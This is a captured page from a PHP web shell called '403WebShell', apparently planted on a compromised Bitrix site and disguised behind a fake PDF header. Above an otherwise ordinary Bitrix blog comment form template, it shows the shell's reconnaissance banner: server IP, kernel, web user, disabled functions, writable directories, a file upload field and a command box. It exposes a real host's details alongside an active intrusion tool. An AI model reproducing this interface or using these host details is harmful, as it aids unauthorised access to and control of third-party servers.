%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.23.102.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/blog.post.comment.list/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/blog.post.comment.list/templates/.default/form.php
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();
if(!$arResult["CanUserComment"])
	return;

//$rand = randString(4);	// may use rand in form id
$formParams = Array(
	"FORM_ID" => $component->createPostFormId(),
	"SHOW_MORE" => "Y",
	"PARSER" => blogTextParser::GetEditorToolbar(array('blog' => $arResult['Blog'])),
	"BUTTONS" => blogTextParser::getEditorButtons($arResult['Blog'], $arResult),
	"TEXT" => Array(
		"ID" => "POST_MESSAGE",
		"NAME" => "comment",
		"VALUE" => "",
		"HEIGHT" => "80px"
	),
//dbg: comments field
//	"UPLOAD_FILE" => !empty($arResult["COMMENT_PROPERTIES"]["DATA"]["UF_BLOG_COMMENT_FILE"]) ? false :
//		$arResult["COMMENT_PROPERTIES"]["DATA"]["UF_BLOG_COMMENT_DOC"],
//	"UPLOAD_WEBDAV_ELEMENT" => $arResult["COMMENT_PROPERTIES"]["DATA"]["UF_BLOG_COMMENT_FILE"],
	"UPLOAD_FILE_PARAMS" => array('width' => $arParams["IMAGE_MAX_WIDTH"], 'height' => $arParams["IMAGE_MAX_HEIGHT"]),
	"SMILES" => COption::GetOptionInt("blog", "smile_gallery_id", 0),
	"LHE" => array(
		'id' => $component->createEditorId(),
		"documentCSS" => "body {color:#434343;}",
		'ctrlEnterHandler' => 'blogCommentCtrlEnterHandler',
		"fontFamily" => "'Helvetica Neue', Helvetica, Arial, sans-serif",
		"fontSize" => "12px",
		"bInitByJS" => true,
		"height" => 80,
		'bSetDefaultCodeView' => $arParams['EDITOR_CODE_DEFAULT'],
		'bResizable' => true,
		'bAutoResize' => true,
		'setFocusAfterShow' => false
	),
	"IS_BLOG" => true,
	"PROPERTIES" => array(
		array_merge(
			(is_array($arResult["COMMENT_PROPERTIES"]["DATA"][CBlogComment::UF_NAME]) ? $arResult["COMMENT_PROPERTIES"]["DATA"][CBlogComment::UF_NAME] : array()),
			(is_array($_POST[CBlogComment::UF_NAME]) ? array("VALUE" => $_POST[CBlogComment::UF_NAME]) : array()),
			array("POSTFIX" => "file")
		),
		is_array($arResult["COMMENT_PROPERTIES"]["DATA"]) &&
		array_key_exists("UF_BLOG_POST_URL_PRV", $arResult["COMMENT_PROPERTIES"]["DATA"]) ?
			array_merge(
				$arResult["COMMENT_PROPERTIES"]["DATA"]["UF_BLOG_POST_URL_PRV"],
				array(
					'ELEMENT_ID' => 'url_preview_'.$component->createEditorId(),
					'STYLE' => 'margin: 0 18px'
				)
			)
			:
			array()
	),
//	"DISABLE_LOCAL_EDIT" => $arParams["bPublicPage"]
);
//===WebDav===
//dbg: webdav?
if(!array_key_exists("USER", $GLOBALS) || !$GLOBALS["USER"]->IsAuthorized())
{
	unset($formParams["UPLOAD_WEBDAV_ELEMENT"]);
	foreach($formParams["BUTTONS"] as $keyT => $valT)
	{
		if($valT == "UploadFile")
		{
			unset($formParams["BUTTONS"][$keyT]);
		}
	}
}
//===WebDav===

//USER CONSENT, if needed;
if ($arParams['USER_CONSENT'] == 'Y' && (empty($arResult["User"]) || !$arParams['USER_CONSENT_WAS_GIVEN']))
{
	ob_start();
//	userconsent only for unregistered users or once for registered early
	$APPLICATION->IncludeComponent(
		"bitrix:main.userconsent.request",
		"",
		array(
			"ID" => $arParams["USER_CONSENT_ID"],
			"IS_CHECKED" => $arParams["USER_CONSENT_IS_CHECKED"],
			"AUTO_SAVE" => "Y",
			"IS_LOADED" => $arParams["USER_CONSENT_IS_LOADED"],
			"ORIGIN_ID" => "sender/sub",
			"ORIGINATOR_ID" => "",
			"REPLACE" => array(
				'button_caption' => GetMessage("B_B_MS_SEND"),
				'fields' => array(GetMessage("B_B_MS_NAME"), 'E-mail')
			),
			"SUBMIT_EVENT_NAME" => "OnUCFormCheckConsent"
		)
	);
	$formParams["AT_THE_END_HTML"] = ob_get_clean();
}



if($arResult["use_captcha"]===true)
{
	ob_start();
	?>
	<div class="blog-comment-field blog-comment-field-captcha">
		<div class="blog-comment-field-captcha-label">
			<label for="captcha_word"><?=GetMessage("B_B_MS_CAPTCHA_SYM")?></label><span class="blog-required-field">*</span><br>
			<input type="hidden" name="captcha_code" id="captcha_code" value="">
			<input type="text" size="30" name="captcha_word" id="captcha_word" value=""  tabindex="7">
		</div>
		<div class="blog-comment-field-captcha-image">
			<div id="div_captcha">
				<img src="" width="180" height="40" id="captcha" style="display:none;">
			</div>
		</div>
	</div>
	<?
	$formParams["AT_THE_END_HTML"] .= ob_get_clean();
}

?>
<div style="display:none;">
	<form action=<?=POST_FORM_ACTION_URI?> id="<?=$component->createPostFormId()?>" name="<?=$component->createPostFormId()?>" <?
		?>method="POST" enctype="multipart/form-data" class="comments-form">
		<input type="hidden" name="comment_post_id" id="postId" value="" />
		<input type="hidden" name="log_id" id="logId" value="" />
		<input type="hidden" name="parentId" id="parentId" value="" />
		<input type="hidden" name="edit_id" id="edit_id" value="" />
		<input type="hidden" name="act" id="act" value="add" />
		<input type="hidden" name="as" id="as" value="<?=$arParams['AVATAR_SIZE_COMMENT']?>" />
		<input type="hidden" name="post" id="" value="Y" />
		<input type="hidden" name="blog_upload_cid" id="upload-cid" value="" />
		<?=bitrix_sessid_post();?>
<?
if(empty($arResult["User"]))
{
?>
	<div class="blog-comment-field blog-comment-field-user">
		<div class="blog-comment-field blog-comment-field-author"><div class="blog-comment-field-text"><?
			?><label for="user_name"><?=GetMessage("B_B_MS_NAME")?></label><?
			?><span class="blog-required-field">*</span></div><span><?
			?><input maxlength="255" size="30" tabindex="3" type="text" name="user_name" id="user_name" value="<?=htmlspecialcharsEx($_SESSION["blog_user_name"])?>"></span></div>
		<div class="blog-comment-field-user-sep">&nbsp;</div>
		<div class="blog-comment-field blog-comment-field-email"><div class="blog-comment-field-text"><label for="">E-mail</label></div><span><input maxlength="255" size="30" tabindex="4" type="text" name="user_email" id="user_email" value="<?=htmlspecialcharsEx($_SESSION["blog_user_email"])?>"></span></div>
		<div class="blog-clear-float"></div>
	</div>
<?
}
?>
	<div id="blog-post-autosave-hidden" <?/*?>style="display:none;"<?*/?>></div>
	<?$APPLICATION->IncludeComponent("bitrix:main.post.form", "", $formParams, false, Array("HIDE_ICONS" => "Y"));?>
</form>
</div>
<script>
BX.ready(function(){
	window["UC"] = (!!window["UC"] ? window["UC"] : {});
	window["UC"]["f<?=$component->createPostFormId()?>"] = new FCForm({
		entitiesId : {},
		formId : '<?=$component->createPostFormId()?>',
		editorId : '<?=$component->createEditorId()?>',
		editorName : ''
	});

	if (!!window["UC"]["f<?=$component->createPostFormId()?>"].eventNode)
	{
		BX.addCustomEvent(window["UC"]["f<?=$component->createPostFormId()?>"].eventNode, 'OnUCFormAfterShow', __blogOnUCFormAfterShow);
		BX.addCustomEvent(window["UC"]["f<?=$component->createPostFormId()?>"].eventNode, 'OnClickBeforeSubmit', __blogOnClickBeforeSubmit);
		BX.addCustomEvent(window["UC"]["f<?=$component->createPostFormId()?>"].eventNode, 'OnUCFormSubmit', __blogOnUCFormSubmit);
	}
	BX.addCustomEvent(window, 'OnUCAfterRecordAdd', __blogOnUCAfterRecordAdd);
});
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit